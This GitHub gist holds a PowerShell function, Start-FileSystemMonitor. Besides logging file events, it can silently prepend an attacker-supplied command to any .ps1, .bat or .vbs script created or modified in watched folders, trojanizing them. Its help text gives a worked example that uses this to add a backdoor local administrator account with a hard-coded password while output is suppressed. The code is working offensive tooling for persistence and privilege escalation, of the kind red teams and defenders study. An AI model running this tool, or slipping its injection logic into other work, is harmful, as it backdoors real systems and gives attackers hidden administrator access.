-
-
Save boydfields/888b211f9bd427979c91b4439cf8f3f3 to your computer and use it in GitHub Desktop.
Start-FileSystemMonitor
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Function Start-FileSystemMonitor { | |
<# | |
.SYNOPSIS | |
This function will monitor one or more file paths for any file | |
creation, deletion, modification, or renaming events. Data including | |
the change type, ACL for the file, etc. is output to the screen or | |
a specified -LogFile. | |
If -InjectShellCmd is specified, the given command is inserted into | |
the top of any .ps1, .bat, or .vbs files that match the given event. | |
Based off of/heavily adapted from Boe Prox's code at: | |
https://mcpmag.com/articles/2015/09/24/changes-to-a-folder-using-powershell.aspx | |
Author: @harmj0y, Boe Prox (@proxb) | |
License: BSD 3-Clause | |
Required Dependencies: None | |
Optional Dependencies: None | |
.PARAMETER Path | |
Array of paths to monitor for file changes. Defaults to C:\Temp\ and %TEMP%. | |
.PARAMETER EventName | |
File events to monitor for ('Changed','Created','Deleted','Renamed'). Defaults to all. | |
.PARAMETER Filter | |
Optional singe-file filter pattern to monitor for, form of "file*.ext". | |
.PARAMETER Recurse | |
Switch. Recurse on subdirectories for monitoring. | |
.PARAMETER LogFile | |
Log file to output monitor data to, otherwise uses Write-Host to | |
print to screen. | |
.PARAMETER InjectShellCmd | |
Shell command to inject into any .ps1, .bat, or .vbs scripts. | |
.PARAMETER InjectShellCmdMarker | |
The first line marker inserted into any trojanized scripts to | |
prevent infinite recursion. Defaults to 'MonitorDebug'. | |
.PARAMETER SuppressOutput | |
Switch. Suppress all screen/log output. Only useful in combination with -InjectShellCmd. | |
.PARAMETER StopMonitor | |
Switch. Stop all file system monitors. | |
.EXAMPLE | |
PS C:\> Start-FileSystemMonitor -LogFile C:\Temp\log.csv | |
Monitor C:\Temp\ and %TEMP% (the defaults) for any modifications and output to C:\Temp\log.csv | |
.EXAMPLE | |
PS C:\> Start-FileSystemMonitor -Path C:\Custom\ -InjectShellCmd 'net user blah Password123! /add&&net localgroup administrators blah /add' -SuppressOutput | |
Monitor C:\Custom\ for any modifications and backdoor any .ps1/.bat/.vbs files with | |
a command to add a backdoor administrator, suppressing any output. | |
.EXAMPLE | |
PS C:\> Start-FileSystemMonitor -StopMonitor | |
Stop all file system monitoring. | |
.LINK | |
https://mcpmag.com/articles/2015/09/24/changes-to-a-folder-using-powershell.aspx | |
#> | |
[CmdletBinding()] | |
Param ( | |
[Parameter(ValueFromPipeline=$True)] | |
[ValidateScript({Test-Path -Path $_ })] | |
[String[]] | |
$Path = @('C:\Temp\', $Env:Temp), | |
[ValidateSet('Changed','Created','Deleted','Renamed')] | |
[String[]] | |
$EventName, | |
[String] | |
$Filter, | |
[Switch] | |
$Recurse, | |
[String] | |
$LogFile, | |
[String] | |
$InjectShellCmd, | |
[String] | |
$InjectShellCmdMarker = 'MonitorDebug', | |
[Switch] | |
$SuppressOutput, | |
[Switch] | |
$StopMonitor | |
) | |
process { | |
if ($PSBoundParameters.ContainsKey('StopMonitor')) { | |
Get-EventSubscriber | Unregister-Event | |
Write-Output "All EventSubscribers unregistered" | |
return | |
} | |
# ensure all folders we're monitoring actually exist | |
$Path = $Path | Where-Object { Test-Path -Path $_ -PathType Container } | |
ForEach($MonitorPath in $Path) { | |
$FileSystemWatcher = New-Object System.IO.FileSystemWatcher | |
$FileSystemWatcher.Path = $MonitorPath | |
if ($PSBoundParameters.ContainsKey('Filter')) { | |
$FileSystemWatcher.Filter = $Filter | |
} | |
if ($PSBoundParameters.ContainsKey('Recurse')) { | |
$FileSystemWatcher.IncludeSubdirectories = $True | |
} | |
if (-Not $PSBoundParameters.ContainsKey('EventName')){ | |
$EventName = 'Changed','Created','Deleted','Renamed' | |
} | |
# the script block base used to monitor file changes and hijack scripts | |
$ActionString = @" | |
`$File = New-Object PSObject | |
`$LogFile = "$LogFile" | |
`$InjectShellCmd = "$InjectShellCmd" | |
`$SuppressOutput = `$$SuppressOutput | |
function Inject-Cmd { | |
param(`$Path) | |
try { | |
`$Ext = `$Path.split('.')[-1] | |
`$Begin = Get-Content `$Path -TotalCount 10 | |
`$Cmd = Switch (`$Ext) { | |
'vbs' { | |
@("$InjectShellCmdMarker", "``nCreateObject('Wscript.Shell').Run('$InjectShellCmd')``n") | |
} | |
'bat' { | |
@("REM $InjectShellCmdMarker", "``n$InjectShellCmd``n") | |
} | |
'ps1' { | |
@("#$InjectShellCmdMarker", "``n$InjectShellCmd``n") | |
} | |
Default {} | |
} | |
if(`$Cmd -and (`$Cmd -ne '') -and (`$(`$Begin -join "``n") -notmatch `$Cmd[0])) { | |
# prepend the inject command | |
Set-Content -Path `$Path -Value `$Cmd[0], `$Cmd[1], `$(Get-Content -Path `$Path) | |
} | |
} | |
catch {} | |
} | |
Switch (`$Event.SourceEventArgs.ChangeType) { | |
'Renamed' { | |
`$Acl = Get-ACL `$Event.SourceArgs[-1].FullPath | |
if(`$InjectShellCmd) { | |
Inject-Cmd `$Event.SourceArgs[-1].FullPath | |
} | |
if(-not `$SuppressOutput) { | |
`$File | Add-Member Noteproperty 'FullPath' `$Event.SourceArgs[-1].OldFullPath | |
`$File | Add-Member Noteproperty 'ChangeType' `$Event.SourceEventArgs.ChangeType | |
`$File | Add-Member Noteproperty 'RenamedPath' `$Event.SourceArgs[-1].FullPath | |
`$File | Add-Member Noteproperty 'TimeStamp' `$Event.TimeGenerated | |
`$File | Add-Member Noteproperty 'Owner' `$Acl.Owner | |
`$File | Add-Member Noteproperty 'OwnerGroup' `$Acl.Group | |
`$File | Add-Member Noteproperty 'ACL' `$((`$Acl.AccessToString -split "`n") -join "|") | |
} | |
} | |
Default { | |
`$Acl = Get-ACL `$Event.SourceEventArgs.FullPath | |
if(`$InjectShellCmd -and (`$Event.SourceEventArgs.ChangeType -ne 'Deleted')) { | |
Inject-Cmd `$Event.SourceEventArgs.FullPath | |
} | |
if(-not `$SuppressOutput) { | |
`$File | Add-Member Noteproperty 'FullPath' `$Event.SourceEventArgs.FullPath | |
`$File | Add-Member Noteproperty 'ChangeType' `$Event.SourceEventArgs.ChangeType | |
`$File | Add-Member Noteproperty 'RenamedPath' '' | |
`$File | Add-Member Noteproperty 'TimeStamp' `$Event.TimeGenerated | |
`$File | Add-Member Noteproperty 'Owner' `$Acl.Owner | |
`$File | Add-Member Noteproperty 'OwnerGroup' `$Acl.Group | |
`$File | Add-Member Noteproperty 'ACL' `$((`$Acl.AccessToString -split "`n") -join "|") | |
} | |
} | |
} | |
if(-not `$SuppressOutput) { | |
if(`$LogFile) { | |
if(`$File.FullPath -ne `$LogFile) { | |
`$File | Export-Csv -NoTypeInformation `$LogFile | |
} | |
} | |
else { | |
Write-Host `$File | |
} | |
} | |
"@ | |
$Action = [ScriptBlock]::Create($ActionString) | |
$ObjectEventParams = @{ | |
InputObject = $FileSystemWatcher | |
Action = $Action | |
} | |
ForEach ($Item in $EventName) { | |
$ObjectEventParams.EventName = $Item | |
$ObjectEventParams.SourceIdentifier = "File.$($Item)" | |
Write-Verbose "Starting watcher for event '$($Item)' in path '$MonitorPath'" | |
$Null = Register-ObjectEvent @ObjectEventParams | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment